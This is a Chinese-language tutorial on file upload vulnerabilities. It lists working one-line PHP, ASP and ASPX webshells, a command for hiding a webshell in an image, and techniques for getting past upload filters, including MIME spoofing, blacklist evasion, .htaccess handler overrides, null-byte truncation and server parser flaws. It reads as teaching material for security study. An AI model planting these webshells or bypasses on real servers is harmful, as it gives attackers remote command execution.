原理:
文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤
,导致用户可以利用此功能,上传能被服务端解析执行的文件
,并通过此文件获得执行服务端命令的能力
。
web应用系统都有文件上传的功能,只要web应用程序允许上传文件,就有可能存在文件上传漏洞。
如果web应用程序存在文件上传漏洞,攻击者甚至可以直接上传一个webshell到服务器上。
首先环境搭建。
服务端:本地存储的脚本木马文件,是我们要用的恶意代码,将它上传到服务器网站中执行权限,该语句触发后,接收入侵者通过客户端提交的数据,执行并完成相应的操作。
服务端的代码内容为: <?php eval($_POST[str]);?> //st是自定义内容
客户端:远程服务器上被插入一句话的asp可执行文件,用来向服务端提交控制数据,提交的数据通过服务端构成完整的功能语句并执行,生成我们所需要的木马文件。
webshell
webshell 简称网页后门,运行在web运用之上的远程控制程序。其实就是一张网页,由php jsp等语言开发,但并不具备常见网页的功能,一般会具备文件管理、端口扫描、提权、获取系统信息等功能。
- 拥有较完整功能的webshell称为大马
- 功能简易的webshell称为小马
- 此外还有一句话木马、菜刀马、脱库马等
上传大马是为了通过大马来获取目标主机的控制权限、对内网进行扫描、获取内部系统的信息、盗取数据库等等一系列操作。
php一句话解读木马
$ _ POST[x]获取post请求参数中x的值。例如post请求中传递x=phpinfo();,那么$_ POST[x]就等同于phpinfo();
eval()将字符串当作PHP代码去执行。例如:
eval('phpinfo();')
,其中 phpinfo();
会被当做PHP代码去执行。
错误控制运算符:当将@放置在一个PHP表达式之前,该表达式可能产生的任何错误信息都被忽略掉。
一句话木马常见种类:asp php aspx
asp:<%execute(request("value"))%>
php:<?php @eval($_POST[value]);?>
aspx:<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
其他一句话木马:<%eval request("value")%> <%execute request("value")%>
判断一句话木马:<%If Request("value")<>"" Then Execute(Request("value"))%>
不用双引号一句话木马:<%eval request(chr(35))%>
图片一句话木马
木马放在php文件中很容易被识别出来,此时需要用到图片一句话木马。
在图片文件里加一句话木马。
如何生成图片马:
(方法一)一句话木马和图片在同一个路径,
cmd进入该路径,输入系统指令:
copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png
(方法二) 通过uedit软件打开,将代码复制至末尾即可。
漏洞类型
前端JS漏洞
当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名。
判断方式:校验上传文件的后缀名。加载文件时直接弹出对话框阻止上传
绕过方式:
1.通过bp改包上传
2.JS插件禁用
验证机制:
文件头字段content-type校验(服务端MIME类型验证)
在Http协议消息头中,使用Content-Type来表示具体请求中的媒体类型信息。
当浏览器在上传文件到服务器的时候,服务器对上传文件的Content-Type类型进行检测,如果是白名单允许的,则可以正常上传,否则上传失败。
原理:web服务端对上传类型进行判断
绕过方法:bp抓包改包,改成允许的类型
补充:
互联网媒体类型也叫MIME类型,上传文件时抓到HTTP数据包,常见媒体格式如下:
text/html:HTML格式
txet/plain:纯文本格式
text/xml:XML格式
image/gif:gif图片格式
image/jpeg:jpg图片格式
image/png:png图片格式
以application开头的媒体格式类型:
- application/xhtml+xml :XHTML格式
- application/xml : XML数据格式
- application/atom+xml :Atom XML聚合格式
- application/json : JSON数据格式
- application/pdf :pdf格式
- application/msword : Word文档格式
- application/octet-stream : 二进制流数据(如常见的文件下载)
- application/x-www-form-urlencoded : 中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)
另外一种常见的媒体格式是上传文件之时使用的:
multipart/form-data :需要在表单中进行文件上传时,就需要使用该格式
文件内容验证-文件头
原理:图片格式往往不是根据文件后缀名去判断的。文件头是文件开头的一段二进制,不同的图片类型文件头不同,同时文件头又称为文件幻数。
绕过方法:在木马内容基础上再加一些文件信息,例如GIFa<?php phpinfo(); ?>
补:
常见的文件幻数:
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF: 47 49 46 3839 61(GIF89a)
PNG: 89 50 4E 47
服务器文件后缀名校验-黑名单
当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。
后缀名大小写绕过:
原理:服务端没有将后缀名转换成统一格式进行比对,导致可以上传后缀为pHp的文件,又因为Windows操作系统大小写不敏感,所以.pHp文件会被当成PHP文件解析。
绕过:黑名单过滤后缀名没有考虑到大小写,.php可以写成.pHP
修改后缀名绕过:
原理:用黑名单不允许上传.asp,.aspx,.phpp,.jsp后缀的文件
绕过:但可以上传.phtml,.phps,.php5,.pht后缀的文件,通过bp修改文件后缀名可以正常上传。
前提是apache中的httpd.conf中有如下配置代码:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
重写绕过
原理:服务端将黑名单后缀替换为空,但仅进行一次。
绕过:上传.phphpp后缀,替换后后缀为.php
特殊可解析后缀绕过
黑名单规则不严谨,在某些特定环境中某些特殊后缀名仍然会被当成PHP文件解析
.htaccess绕过
原理:
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
1.在apache中,这个文件作为一个配置文件,但可以通过设置将该目录下的所有文件作为PHP文件来解析
2…htaccess可以写入apache配置信息,改变当前目录以及子目录的apache配置信息。
利用体统操作特性-windos
利用Windows对文件和文件名的限制,将以下字符放在结尾时,不符合操作系统的命名规范,在最后生成文件时,字符会被自动去除。
%00(0x00)截断
%00是chr(O),是NULL,空字符。当程序在输出含有char(O)变量时,char(O)后面的数据会被停止,换句话说就是误把它当作结束符,后面的数据被直接忽略。
在文件上传时,利用%00截断,在文件扩展名验证时,是取文件的扩展名来做验证,但是最后文件保存在本地时,%00会截断文件名,只保存%00之前的内容。
%00为十六进制的0x00字符。
原理:在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞。
绕过方法:通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。
文件上传漏洞的相关绕过方法:https://www.2cto.com/kf/201707/658520.htmlweb
配合其他漏洞
配合文件包含漏洞
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件是否为木马
绕过方式:
1.先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
2.然后再上传一个php的文件,内容为<?php Include("上传的txt路径") ?>
服务器解析漏洞
原理:解析漏洞是指中间件(apache、nginx、iis等)在解析文件时出现了漏洞,从而黑客可以利用该漏洞实现非法文件的解析。
Apache解析漏洞:
1.多后缀名:
原理:apache解析文件的规则是从右到左直到识别到认识的文件后缀。
绕过:若文件后缀是.php,则会被拒绝上传php站。此时用户只需上传文件evildoer.php.qwe,编写的程序检查后缀时只看“.qwe”,而认为这不是程序文件,允许上传,则用户成功地绕过了上传时的安全检查。该文件的最后一个后缀“.qwe”是Apache不认识的,故而Apache会以倒数第二个后缀“.php”为准,把该文件当做是php文件解析执行。
例:shell.php.gix.ccc。
2.罕见后缀
以php、phtml、pht、php3、php4和php5都是Apache和php认可的php程序的文件后缀,利用这些“罕见”的后缀名,也可能绕过安全检查。
3.htaccess
htaccess文件可以进行MIME类型修改。
AddType application/x-httpd-php xxx
就成功地使该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件.
另一种写法是:
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
该语句会让Apache把shell.jpg文件解析为php文件。
IIS6.0漏洞
1.目录解析
目录名为.asp .asa .cer,则目录下的所有文件都会被作为ASP
url/test.asp/shell.jpg会被当成脚本运行
2.文件解析
文件名中分号不被解析,例如:.asp; .asa; .cer;
3.文件类型解析
.asa .cer .cdx都会被作为asp文件执行
url/shell.asa会被作为asp文件执行。
Nginx漏洞
这一漏洞是由于Nginx中php配置不当而造成的。
配合操作系统文件命名规则
1.上传不符合Windows文件命名规则的文件名
text.asp
text.asp (空格)
text.php:1.jpg
text.php::$DATA
shell.php::$DATA…
会被windows系统自动去掉不符合规则符号后面的内容
2.Linux下后缀名大小写
在Linux下,如果上传PHP不被解析,可以试试上传pHp后缀的文件名
CMS、编辑器漏洞
CMS漏洞:如JCMS
编辑器漏洞:如FCK ewebeditor
参考:https://www.jianshu.com/p/5ebba0482980